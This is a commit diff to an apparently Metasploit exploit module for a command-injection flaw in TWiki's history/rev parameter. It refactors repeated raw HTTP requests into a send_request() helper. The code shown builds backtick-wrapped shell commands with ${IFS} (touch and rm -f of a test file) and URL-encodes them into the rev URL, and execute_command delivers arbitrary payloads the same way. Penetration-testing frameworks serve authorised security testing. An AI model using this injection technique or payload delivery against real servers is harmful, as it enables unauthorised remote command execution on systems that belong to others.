twiki_history: Add send_request() function

This is based on MR feedback

Author: g0tmi1k

modules/exploits/unix/webapp/twiki_history.rb

@@ -91,6 +91,12 @@ def initialize(info = {})
     )
   end
 
+  def send_request(uri)
+    send_request_cgi({
+      'uri' => uri
+    }, 25)
+  end
+
   #
   # NOTE: This is not perfect, since it requires write access to the bin
   # directory. Unfortunately, determining the main directory isn't
@@ -106,9 +112,7 @@ def check
     vprint_status("URI: #{rev_url}")
 
     # first see if it already exists (it really shouldn't)
-    res = send_request_raw({
-      'uri' => test_url
-    }, 25)
+    res = send_request(test_url)
     if (not res) or (res.code != 404)
       vprint_warning("The test file exists already! (HTTP #{res.code})")
       return Exploit::CheckCode::Unknown # Need to try again with a different file
@@ -117,10 +121,7 @@ def check
     # try to create it
     vprint_status("Attempting to create: #{test_url}")
     rev = "`touch${IFS}" + test_file + "`"
-    uri = rev_url + Rex::Text.uri_encode(rev)
-    res = send_request_raw({
-      'uri' => uri
-    }, 25)
+    res = send_request(rev_url + Rex::Text.uri_encode(rev))
     if (not res) or (res.code != 200)
       vprint_warning("Error with exploit request (HTTP #{res.code}, should be 200)") unless res.code == 200
       return Exploit::CheckCode::Safe
@@ -129,9 +130,7 @@ def check
     # try to run it
     # 500 code == successfully made it
     vprint_status("Checking if created: #{test_url}")
-    res = send_request_raw({
-      'uri' => test_url
-    }, 25)
+    res = send_request(test_url)
     if (not res) or (res.code != 500)
       vprint_warning("Error with exploit request (HTTP #{res.code}, should be 500)") unless res.code == 500
       return Exploit::CheckCode::Safe
@@ -140,10 +139,7 @@ def check
     # delete the tmp file
     print_status("Attempting to delete: #{test_url}")
     rev = "`rm${IFS}-f${IFS}" + test_file + "`"
-    uri = rev_url + Rex::Text.uri_encode(rev)
-    res = send_request_raw({
-      'uri' => uri
-    }, 25)
+    res = send_request(rev_url + Rex::Text.uri_encode(rev))
     if (not res) or (res.code != 200)
       vprint_warning("Error with exploit request (HTTP #{res.code}, should be 200)") unless res.code == 200
       print_warning("Unable to remove test file (#{test_file})")
@@ -175,9 +171,7 @@ def execute_command(cmd, _opts = {})
     uri = rev_url + Rex::Text.uri_encode(rev)
 
     vprint_status("Sending payload")
-    res = send_request_raw({
-      'uri' => uri,
-    }, 25)
+    res = send_request(rev_url + Rex::Text.uri_encode(rev))
     vprint_status("Payload sent")
 
     fail_with(Failure::Unknown, "Error sending exploit request") if res.nil?